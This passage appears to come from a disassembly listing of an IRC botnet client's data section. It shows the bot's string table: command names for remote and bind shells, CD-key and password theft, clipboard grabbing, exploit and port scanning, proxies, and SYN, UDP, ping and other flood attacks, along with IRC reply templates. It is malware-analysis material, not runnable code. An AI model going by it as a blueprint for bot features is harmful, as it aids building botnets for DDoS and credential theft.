aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40274D:loc_404F93o
					; sub_40274D+76C8o
		align 4
; char aQuitS[]
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+2834o
		align 10h
; char asc_42EDE0[]
asc_42EDE0	db '-'                  ; DATA XREF: sub_40274D+27EEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
; char asc_42EE0C[]
asc_42EE0C	db '-'                  ; DATA XREF: sub_40274D+27B3o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 20746F42h, 203A4449h, 2E7325h
unk_42EE24	db  2Dh	; -		; DATA XREF: sub_40274D+2789o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_21	db '- Failed to start list thread, error: <%d>.',0
		align 10h
; char asc_42EE60[]
asc_42EE60	db '-'                  ; DATA XREF: sub_40274D+2730o
		db 3, 34h, 2
		dd 65726874h, 2736461h,	4C202D03h, 20747369h, 65726874h
		dd 2E736461h, 0
; char aSub[]
aSub		db 'sub',0              ; DATA XREF: sub_40274D+270Ao
dword_42EE84	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_40274D+26C1o
		dd 2E7473h
unk_42EE9C	db  2Dh	; -		; DATA XREF: sub_40274D+2694o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_22	db '- Failed to start listing thread, error: <%d>.',0
; char asc_42EED4[]
asc_42EED4	db '-'                  ; DATA XREF: sub_40274D+263Bo
		db 3, 34h, 2
		dd 2676F6Ch, 4C202D03h,	69747369h, 6C20676Eh, 2E676Fh
dword_42EEEC	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_40274D+25A7o
		dd 6F666E49h, 2Eh
dword_42EF08	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_40274D+2578o
		dd 2E6F666Eh, 0
dword_42EF24	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_40274D+252Bo
		dd 746F4220h, 2Eh
; char asc_42EF40[]
asc_42EF40	db '-'                  ; DATA XREF: sub_40274D+24FAo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start listing thread, error: <%d>.',0
		align 4
; char asc_42EF7C[]
asc_42EF7C	db '-'                  ; DATA XREF: sub_40274D+249Bo
		db 3, 34h, 2
		dd 636F7270h, 2D030273h, 6F725020h, 73656363h, 696C2073h
		dd 2E7473h
; char aFull[]
aFull		db 'full',0             ; DATA XREF: sub_40274D+247Bo
		align 10h
unk_42EFA0	db  2Dh	; -		; DATA XREF: sub_40274D+2425o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 10h
; char asc_42EFC0[]
asc_42EFC0	db '-'                  ; DATA XREF: sub_40274D+23FCo
		db 3, 34h, 2
		dd 656B6463h, 3027379h
aSearchComplete	db '- Search completed.',0
; char asc_42EFE0[]
asc_42EFE0	db '-'                  ; DATA XREF: sub_40274D+23B6o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 69747055h, 203A656Dh, 2E7325h
; char asc_42EFF8[]
asc_42EFF8	db '-'                  ; DATA XREF: sub_40274D:loc_404A48o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42F018	db  2Dh	; -		; DATA XREF: sub_40274D+22F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 10h
unk_42F040	db  2Dh	; -		; DATA XREF: sub_40274D+22DBo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42F06C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_40274D+22C0o
		dd 72616F62h, 2E64h
dword_42F088	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_40274D+2298o
		dd 2Dh
unk_42F0A0	db  2Dh	; -		; DATA XREF: sub_40274D:loc_4049D5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42F0CC	db  2Dh	; -		; DATA XREF: sub_40274D+2281o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
; char asc_42F0F0[]
asc_42F0F0	db '-'                  ; DATA XREF: sub_40274D:loc_4049A4o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42F11C	db  2Dh	; -		; DATA XREF: sub_40274D:loc_40499Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42F148	db  2Dh	; -		; DATA XREF: sub_40274D+2249o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
; char asc_42F16C[]
asc_42F16C	db '-'                  ; DATA XREF: sub_40274D+21C8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_24	db '- Failed to start server thread, error: <%d>.',0
		align 4
; char asc_42F1A8[]
asc_42F1A8	db '-'                  ; DATA XREF: sub_40274D+216Fo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42F1E4	db  2Dh	; -		; DATA XREF: sub_40274D+209Do
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start server thread, error: <%d>.',0
		align 10h
; char asc_42F220[]
asc_42F220	db '-'                  ; DATA XREF: sub_40274D+2044o
					; sub_40B690+440o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42F25C	db  2Dh	; -		; DATA XREF: sub_40274D+1F31o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
; char asc_42F298[]
asc_42F298	db '-'                  ; DATA XREF: sub_40274D+1ED8o
					; sub_40B690+D7o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42F2CC	db  2Dh	; -		; DATA XREF: sub_40274D+1E34o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 4
unk_42F2EC	db  2Dh	; -		; DATA XREF: sub_40274D:loc_40456Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_27	db '- Failed to start scan, port is invalid.',0
		align 4
; char asc_42F324[]
asc_42F324	db '-'                  ; DATA XREF: sub_40274D+1DBFo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan thread, error: <%d>.',0
		align 10h
; char asc_42F360[]
asc_42F360	db '-'                  ; DATA XREF: sub_40274D+1D60o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_40274D+1D35o
					; sub_40274D+5909o
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_40274D+1D2Eo
					; sub_40274D+5902o
		align 10h
; char asc_42F3E0[]
asc_42F3E0	db '-'                  ; DATA XREF: sub_40274D+1B80o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42F420	db  2Dh	; -		; DATA XREF: sub_40274D+1B0Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_29	db 'Failed to start search thread, error: <%d>.',0
; char asc_42F45C[]
asc_42F45C	db '-'                  ; DATA XREF: sub_40274D+1AA3o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
; char aFp[]
aFp		db 'fp',0               ; DATA XREF: sub_40274D+1A66o
		align 4
; char aFindpass[]
aFindpass	db 'findpass',0         ; DATA XREF: sub_40274D+1A55o
		align 4
; char aNoticeSPhoning[]
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_40274D+1A3Fo
		align 4
; char aPhonehome[]
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_40274D+1A28o
		align 4
; char aScanall[]
aScanall	db 'scanall',0          ; DATA XREF: sub_40274D+19FEo
; char asc_42F4CC[]
asc_42F4CC	db '-'                  ; DATA XREF: sub_40274D+19B1o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 73617243h, 676E6968h, 746F6220h
		dd 2Eh
; char aCrash[]
aCrash		db 'crash',0            ; DATA XREF: sub_40274D+199Bo
					; sub_40274D+19E8o
		align 10h
; char aTftp[]
aTftp		db 'tftp',0             ; DATA XREF: sub_40274D+1986o
		align 4
; char aTftpserver[]
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_40274D+1971o
		align 4
; char aHttp[]
aHttp		db 'http',0             ; DATA XREF: sub_40274D+195Co
		align 4
; char aHttpserver[]
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_40274D+1947o
		align 4
; char aRlogin[]
aRlogin		db 'rlogin',0           ; DATA XREF: sub_40274D+1932o
		align 10h
; char aRloginserver[]
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_40274D+191Do
		align 10h
; char aCip[]
aCip		db 'cip',0              ; DATA XREF: sub_40274D+1908o
; char aCurrentip[]
aCurrentip	db 'currentip',0        ; DATA XREF: sub_40274D+18F3o
		align 10h
; char aFdns[]
aFdns		db 'fdns',0             ; DATA XREF: sub_40274D+18DEo
		align 4
; char aFlushdns[]
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_40274D+18C9o
		align 4
; char aFarp[]
aFarp		db 'farp',0             ; DATA XREF: sub_40274D+18B4o
		align 4
; char aFlusharp[]
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_40274D+189Fo
		align 4
; char aGc[]
aGc		db 'gc',0               ; DATA XREF: sub_40274D+188Ao
		align 4
; char aGetclip[]
aGetclip	db 'getclip',0          ; DATA XREF: sub_40274D+1875o
; char asc_42F574[]
asc_42F574	db '-'                  ; DATA XREF: sub_40274D+183Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
; char Str2[]
Str2		db 'off',0              ; DATA XREF: sub_40274D+1822o
					; sub_40274D+39C9o ...
; char aSpoof[]
aSpoof		db 'spoof',0            ; DATA XREF: sub_40274D+180Bo
		align 4
unk_42F5A8	db  2Dh	; -		; DATA XREF: sub_40274D+17F0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
; char aD_S[]
aD_S		db '%d. %s',0           ; DATA XREF: sub_40274D+17BBo
					; sub_40AEF0+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40274D:loc_403EF9o
dword_42F5DC	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_40274D+1784o
; char aWho[]
aWho		db 'who',0              ; DATA XREF: sub_40274D+1767o
dword_42F5F4	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_40274D+175Co
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40274D+1757o
		align 10h
; char aCmdstop[]
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_40274D+1741o
; char aOcmd[]
aOcmd		db 'ocmd',0             ; DATA XREF: sub_40274D+172Co
		align 10h
; char aOpencmd[]
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_40274D+1717o
; char aDll[]
aDll		db 'dll',0              ; DATA XREF: sub_40274D+1702o
; char aTestdlls[]
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_40274D+16EDo
		align 4
; char aDrv[]
aDrv		db 'drv',0              ; DATA XREF: sub_40274D+16D8o
; char aDriveinfo[]
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_40274D+16C3o
		align 4
; char aUp[]
aUp		db 'up',0               ; DATA XREF: sub_40274D+16AEo
					; sub_40274D+4864o
		align 4
; char aUptime[]
aUptime		db 'uptime',0           ; DATA XREF: sub_40274D+1699o
		align 4
; char aKey[]
aKey		db 'key',0              ; DATA XREF: sub_40274D+1684o
; char aGetcdkeys[]
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_40274D+166Fo
		align 4
; char aPs[]
aPs		db 'ps',0               ; DATA XREF: sub_40274D+165Ao
		align 4
; char aProcs[]
aProcs		db 'procs',0            ; DATA XREF: sub_40274D+1645o
		align 10h
; char aRm[]
aRm		db 'rm',0               ; DATA XREF: sub_40274D+1630o
		align 4
; char aRemove[]
aRemove		db 'remove',0           ; DATA XREF: sub_40274D+161Bo
		align 4
; char aSi[]
aSi		db 'si',0               ; DATA XREF: sub_40274D+1606o
		align 10h
; char aSysinfo[]
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_40274D+15F1o
; char aNi[]
aNi		db 'ni',0               ; DATA XREF: sub_40274D+15DCo
		align 4
; char aNetinfo[]
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_40274D+15C7o
; char aClg[]
aClg		db 'clg',0              ; DATA XREF: sub_40274D+15B2o
; char aClearlog[]
aClearlog	db 'clearlog',0         ; DATA XREF: sub_40274D+159Do
		align 4
; char aLg[]
aLg		db 'lg',0               ; DATA XREF: sub_40274D+1588o
		align 4
; char aLog[]
aLog		db 'log',0              ; DATA XREF: sub_40274D+1573o
					; ___libm_error_support:loc_424419o ...
; char aAl[]
aAl		db 'al',0               ; DATA XREF: sub_40274D+155Eo
		align 10h
; char aAliases[]
aAliases	db 'aliases',0          ; DATA XREF: sub_40274D+1549o
; char aT[]
aT:					; DATA XREF: sub_40274D+1534o
					; .data:00442EE0o ...
		unicode	0, <t>,0
; char aThreads[]
aThreads	db 'threads',0          ; DATA XREF: sub_40274D+151Fo
unk_42F6C4	db  2Dh	; -		; DATA XREF: sub_40274D+14EEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
; char asc_42F6EC[]
asc_42F6EC	db '-'                  ; DATA XREF: sub_40274D+14E7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
; char aReboot[]
aReboot		db 'reboot',0           ; DATA XREF: sub_40274D+14D0o
		align 4
; char aI[]
aI:					; DATA XREF: sub_40274D+14BBo
					; .data:00442EECo ...
		unicode	0, <i>,0
; char aId[]
aId		db 'id',0               ; DATA XREF: sub_40274D+14A6o
		align 4
; char aS_6[]
aS_6:					; DATA XREF: sub_40274D+1491o
					; .data:00442EF8o ...
		unicode	0, <s>,0
; char aStatus[]
aStatus		db 'status',0           ; DATA XREF: sub_40274D+147Co
		align 4
; char aQ[]
aQ:					; DATA XREF: sub_40274D+1467o
					; .data:off_442ED0o ...
		unicode	0, <q>,0
; char aQuit_0[]
aQuit_0		db 'quit',0             ; DATA XREF: sub_40274D+1452o
		align 4
; char aDc[]
aDc		db 'dc',0               ; DATA XREF: sub_40274D+143Do
		align 4
; char aDisconnect[]
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_40274D+1428o
		align 4
; char aR[]
aR:					; DATA XREF: sub_40274D+1413o
					; sub_40274D+3ABFo ...
		unicode	0, <r>,0
; char aReconnect[]
aReconnect	db 'reconnect',0        ; DATA XREF: sub_40274D+13FEo
		align 4
; char aExplist[]
aExplist	db 'explist',0          ; DATA XREF: sub_40274D+13E9o
; char aExploitlist[]
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_40274D+13D4o
; char aCbstats[]
aCbstats	db 'cbstats',0          ; DATA XREF: sub_40274D+13BFo
; char aConnectbacksta[]
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_40274D+13AAo
		align 4
; char aTrstats[]
aTrstats	db 'trstats',0          ; DATA XREF: sub_40274D+1395o
; char aTransferstats[]
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_40274D+1380o
		align 4
; char aStats[]
aStats		db 'stats',0            ; DATA XREF: sub_40274D+136Bo
		align 4
; char aScanstats[]
aScanstats	db 'scanstats',0        ; DATA XREF: sub_40274D+1356o
		align 10h
dword_42F7B0	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_40274D+134Bo
aScan		db 'Scan',0             ; DATA XREF: sub_40274D+1346o
		align 4
; char aScanstop[]
aScanstop	db 'scanstop',0         ; DATA XREF: sub_40274D+1330o
		align 10h
dword_42F7D0	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_40274D+1325o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40274D+1320o
		align 4
; char aSecurestop[]
aSecurestop	db 'securestop',0       ; DATA XREF: sub_40274D+130Ao
		align 4
dword_42F7F4	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_40274D+12FFo
aClone		db 'Clone',0            ; DATA XREF: sub_40274D+12FAo
		align 4
; char aClonestop[]
aClonestop	db 'clonestop',0        ; DATA XREF: sub_40274D+12E4o
		align 4
; char aPsstop[]
aPsstop		db 'psstop',0           ; DATA XREF: sub_40274D+12CFo
		align 10h
; char aProcsstop[]
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_40274D+12BAo
		align 4
; char aFfstop[]
aFfstop		db 'ffstop',0           ; DATA XREF: sub_40274D+12A5o
		align 4
; char aFindfilestop[]
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_40274D+1290o
		align 4
dword_42F844	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_40274D+1285o
; char aTftpstop[]
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_40274D+126Ao
		align 10h
; char aPingstop[]
aPingstop	db 'pingstop',0         ; DATA XREF: sub_40274D+1244o
		align 4
; char aUdpstop[]
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_40274D+121Eo
; char aWisdomstop[]
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_40274D+11F8o
		align 10h
; char aTsunamistop[]
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_40274D+11D2o
unk_42F88C	db  2Dh	; -		; DATA XREF: sub_40274D+11BBo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42F8C0	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_40274D+1186o
					; sub_40274D+1213o
aWisdomAttack	db 'Wisdom attack',0    ; DATA XREF: sub_40274D+1181o
					; sub_40274D+120Eo
		align 10h
dword_42F8E0	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_40274D+116Bo
					; sub_40274D+11EDo
aTsunamiFlood	db 'Tsunami flood',0    ; DATA XREF: sub_40274D+1166o
					; sub_40274D+11E8o
		align 10h
dword_42F900	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_40274D+1114o
					; sub_40274D+125Fo
aPingFlood	db 'Ping flood',0       ; DATA XREF: sub_40274D+110Fo
					; sub_40274D+125Ao
		align 4
dword_42F918	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_40274D+10F9o
					; sub_40274D+1239o
aUdpFlood	db 'UDP flood',0        ; DATA XREF: sub_40274D+10F4o
					; sub_40274D+1234o
		align 10h
; char aPacketstop[]
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_40274D+109Do
		align 4
dword_42F93C	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_40274D+1092o
					; sub_40274D+114Do
aWonkFlood	db 'Wonk flood',0       ; DATA XREF: sub_40274D+108Do
					; sub_40274D+1148o
		align 4
; char aWonkstop[]
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_40274D+1077o
		align 10h
dword_42F960	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_40274D+106Co
					; sub_40274D+1132o
aTarga3Flood	db 'Targa3 flood',0     ; DATA XREF: sub_40274D+1067o
					; sub_40274D+112Do
		align 10h
; char aTarga3stop[]
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_40274D+1051o
		align 4
dword_42F98C	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_40274D+1046o
					; sub_40274D+11A4o
aSkysynFlood	db 'SkySyn flood',0     ; DATA XREF: sub_40274D+1041o
					; sub_40274D+119Fo
		align 4
; char aSkysynstop[]
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_40274D+102Bo
		align 4
dword_42F9B8	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_40274D+1020o
					; sub_40274D+10DBo
aSynFlood	db 'Syn flood',0        ; DATA XREF: sub_40274D+101Bo
					; sub_40274D+10D6o
		align 10h
; char aSynstop[]
aSynstop	db 'synstop',0          ; DATA XREF: sub_40274D+1005o
dword_42F9D8	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_40274D+FFAo
					; sub_40274D+10C0o
aDdosFlood	db 'DDoS flood',0       ; DATA XREF: sub_40274D+FF5o
					; sub_40274D+10BBo
		align 10h
; char aDdos_stop[]
aDdos_stop	db 'ddos.stop',0        ; DATA XREF: sub_40274D+FDFo
		align 4
dword_42F9FC	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_40274D+FD4o
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_40274D+FCFo
		align 4
; char aRedirectstop[]
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_40274D+FB9o
		align 4
dword_42FA2C	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_40274D+FAEo
aLogList	db 'Log list',0         ; DATA XREF: sub_40274D+FA9o
		align 4
; char aLogstop[]
aLogstop	db 'logstop',0          ; DATA XREF: sub_40274D+F93o
dword_42FA4C	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_40274D+F88o
; char aHttpstop[]
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_40274D+F6Do
		align 4
dword_42FA68	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_40274D+F62o
; char aRloginstop[]
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_40274D+F47o
		align 4
dword_42FA84	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_40274D+F3Co
; char aSocks4stop[]
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_40274D+F21o
		align 10h
; char aS4[]
aS4		db 's4',0               ; DATA XREF: sub_40274D+F0Co
		align 4
; char aSocks4[]
aSocks4		db 'socks4',0           ; DATA XREF: sub_40274D+EF7o
		align 4
dword_42FAAC	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0	; DATA XREF: sub_40274D+EECo
aServer_0	db 'Server',0           ; DATA XREF: sub_40274D+EE7o
					; sub_40274D+F37o ...
		align 4
; char aBindshellstop[]
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_40274D+ED1o
		align 4
; char aBd[]
aBd		db 'bd',0               ; DATA XREF: sub_40274D+EBCo
		align 4
; char aBindshell[]
aBindshell	db 'bindshell',0        ; DATA XREF: sub_40274D+EA7o
		align 4
; char aUnsec[]
aUnsec		db 'unsec',0            ; DATA XREF: sub_40274D+E92o
		align 10h
; char aUnsecure[]
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_40274D+E7Do
		align 4
; char aSec[]
aSec		db 'sec',0              ; DATA XREF: sub_40274D+E68o
					; sub_40274D+2B4Do
; char aSecure[]
aSecure		db 'secure',0           ; DATA XREF: sub_40274D+E53o
					; sub_40274D+2B3Co
		align 4
; char aSt[]
aSt		db 'st',0               ; DATA XREF: sub_40274D+E3Eo
		align 4
; char aSpeedtest[]
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_40274D+E29o
		align 4
; char aDed[]
aDed		db 'ded',0              ; DATA XREF: sub_40274D+E14o
; char aDedication[]
aDedication	db 'dedication',0       ; DATA XREF: sub_40274D+DFFo
		align 4
; char aVer[]
aVer		db 'ver',0              ; DATA XREF: sub_40274D+DEAo
; char aVersion[]
aVersion	db 'version',0          ; DATA XREF: sub_40274D+DD5o
; char aLo[]
aLo		db 'lo',0               ; DATA XREF: sub_40274D+DC0o
		align 4
; char aLogout[]
aLogout		db 'logout',0           ; DATA XREF: sub_40274D+DABo
		align 10h
; char aD_0[]
aD_0:					; DATA XREF: sub_40274D+D96o
					; sub_40FDC3+7Fo ...
		unicode	0, <d>,0
; char aDie[]
aDie		db 'die',0              ; DATA XREF: sub_40274D+D81o
; char aRn[]
aRn		db 'rn',0               ; DATA XREF: sub_40274D+D6Co
		align 4
; char aRndnick_0[]
aRndnick_0	db 'rndnick',0          ; DATA XREF: sub_40274D+D54o
; char Source[]
Source		db '63',0               ; DATA XREF: sub_40274D+C4Do
		align 4
; char asc_42FB58[]
asc_42FB58:				; DATA XREF: sub_40274D+C2Eo
		unicode	0, <)>,0
; char aChr[]
aChr		db '$chr(',0            ; DATA XREF: sub_40274D+BFAo
		align 4
; char aServer[]
aServer		db '$server',0          ; DATA XREF: sub_40274D+BEFo
; char aRndnick[]
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40274D+BDEo
		align 4
; char aChan[]
aChan		db '$chan',0            ; DATA XREF: sub_40274D+BC5o
		align 10h
; char aUser[]
aUser		db '$user',0            ; DATA XREF: sub_40274D+BB7o
		align 4
; char aMe[]
aMe		db '$me',0              ; DATA XREF: sub_40274D+BA5o
; char aD_1[]
aD_1		db '$%d',0              ; DATA XREF: sub_40274D+B43o
; char aD[]
aD		db '$%d-',0             ; DATA XREF: sub_40274D+AA5o
		align 4
; char asc_42FB98[]
asc_42FB98:				; DATA XREF: sub_40274D+9D0o
					; .data:00442F14o ...
		unicode	0, <l>,0
unk_42FB9C	db  2Dh	; -		; DATA XREF: sub_40274D+995o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
unk_42FBD0	db  2Dh	; -		; DATA XREF: sub_40274D+984o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_42FC00	db  2Dh	; -		; DATA XREF: sub_40274D+95Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_30	db '- Failed to start chat thread, error: <%d>.',0
		align 4
; char asc_42FC38[]
asc_42FC38	db '-'                  ; DATA XREF: sub_40274D+905o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
; char aChat[]
aChat		db 'CHAT',0             ; DATA XREF: sub_40274D+877o
		align 10h
; char asc_42FC60[]
